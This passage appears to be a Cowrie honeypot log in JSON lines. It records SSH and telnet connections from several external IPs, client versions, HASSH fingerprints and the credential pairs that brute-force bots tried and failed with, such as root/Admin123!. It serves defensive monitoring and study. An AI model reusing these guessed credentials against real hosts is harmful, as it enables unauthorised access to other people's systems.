{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":18498,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e3cce396ea3","protocol":"ssh","message":"New connection: 91.92.40.36:18498 (10.17.0.5:22) [session: 4e3cce396ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:55.961713Z"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:56.810264Z","src_ip":"91.92.40.36","session":"0d73f8f82207","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:57.145083Z","src_ip":"91.92.40.36","session":"4e3cce396ea3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:57.148466Z","src_ip":"91.92.40.36","session":"4e3cce396ea3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":38050,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3166c51e605","protocol":"ssh","message":"New connection: 163.7.9.84:38050 (10.17.0.5:22) [session: c3166c51e605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:57.461786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:57.475003Z","src_ip":"163.7.9.84","session":"c3166c51e605","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":5867,"dst_ip":"10.17.0.5","dst_port":22,"session":"3418dd836e99","protocol":"ssh","message":"New connection: 196.188.93.169:5867 (10.17.0.5:22) [session: 3418dd836e99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:57.710158Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:57.715478Z","src_ip":"196.188.93.169","session":"3418dd836e99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:57.734221Z","src_ip":"163.7.9.84","session":"c3166c51e605","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:57.886012Z","src_ip":"196.188.93.169","session":"3418dd836e99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1201","message":"login attempt [root/1201] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:58.606907Z","src_ip":"196.188.93.169","session":"3418dd836e99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"!@#QWE123qwe","message":"login attempt [ubuntu/!@#QWE123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:58.800907Z","src_ip":"163.7.9.84","session":"c3166c51e605","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:22:59.782145Z","src_ip":"196.188.93.169","session":"3418dd836e99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:00.065936Z","src_ip":"163.7.9.84","session":"c3166c51e605","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":18598,"dst_ip":"10.17.0.5","dst_port":22,"session":"46758f1b0893","protocol":"ssh","message":"New connection: 91.92.40.36:18598 (10.17.0.5:22) [session: 46758f1b0893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:03.796458Z"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:04.158669Z","src_ip":"91.92.40.36","session":"4e3cce396ea3","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:05.256189Z","src_ip":"91.92.40.36","session":"46758f1b0893","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:05.259487Z","src_ip":"91.92.40.36","session":"46758f1b0893","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.242","src_port":53074,"dst_ip":"159.203.135.109","dst_port":22,"session":"41065844657f","protocol":"ssh","message":"New connection: 103.84.236.242:53074 (159.203.135.109:22) [session: 41065844657f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:05.849944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:05.854478Z","src_ip":"103.84.236.242","session":"41065844657f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:06.093618Z","src_ip":"103.84.236.242","session":"41065844657f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:06.426690Z","src_ip":"91.92.40.36","session":"4e3cce396ea3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fernanda","password":"fernanda","message":"login attempt [fernanda/fernanda] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:07.076583Z","src_ip":"103.84.236.242","session":"41065844657f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:08.317679Z","src_ip":"103.84.236.242","session":"41065844657f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.12168502807617,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:09.009508Z","src_ip":"172.81.62.90","session":"64a30640d0b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27182,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa38bbd059f7","protocol":"ssh","message":"New connection: 91.92.40.36:27182 (10.17.0.5:22) [session: aa38bbd059f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:09.420510Z"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":56686,"dst_ip":"159.203.135.109","dst_port":22,"session":"815b2a6f2053","protocol":"ssh","message":"New connection: 102.210.148.92:56686 (159.203.135.109:22) [session: 815b2a6f2053]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:09.452190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:09.457090Z","src_ip":"102.210.148.92","session":"815b2a6f2053","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:09.741970Z","src_ip":"102.210.148.92","session":"815b2a6f2053","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:10.719739Z","src_ip":"91.92.40.36","session":"aa38bbd059f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:10.725693Z","src_ip":"91.92.40.36","session":"aa38bbd059f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"abomb","password":"abomb","message":"login attempt [abomb/abomb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:10.736721Z","src_ip":"102.210.148.92","session":"815b2a6f2053","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:11.978161Z","src_ip":"102.210.148.92","session":"815b2a6f2053","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":48000,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffe3bce59454","protocol":"ssh","message":"New connection: 181.188.176.242:48000 (10.17.0.5:22) [session: ffe3bce59454]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:13.294977Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:13.298985Z","src_ip":"181.188.176.242","session":"ffe3bce59454","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:13.464713Z","src_ip":"181.188.176.242","session":"ffe3bce59454","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"n","message":"login attempt [root/n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:14.163937Z","src_ip":"181.188.176.242","session":"ffe3bce59454","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123!","message":"login attempt [root/Admin123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:14.399399Z","src_ip":"91.92.40.36","session":"46758f1b0893","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.58189082145691,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:14.683841Z","src_ip":"94.23.66.112","session":"139407b1de0d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":27226,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfa571c3c7c0","protocol":"ssh","message":"New connection: 91.92.40.36:27226 (10.17.0.5:22) [session: dfa571c3c7c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:15.270327Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:15.333445Z","src_ip":"181.188.176.242","session":"ffe3bce59454","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:23:17.284924Z","src_ip":"91.92.40.36","session":"dfa571c3c7c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","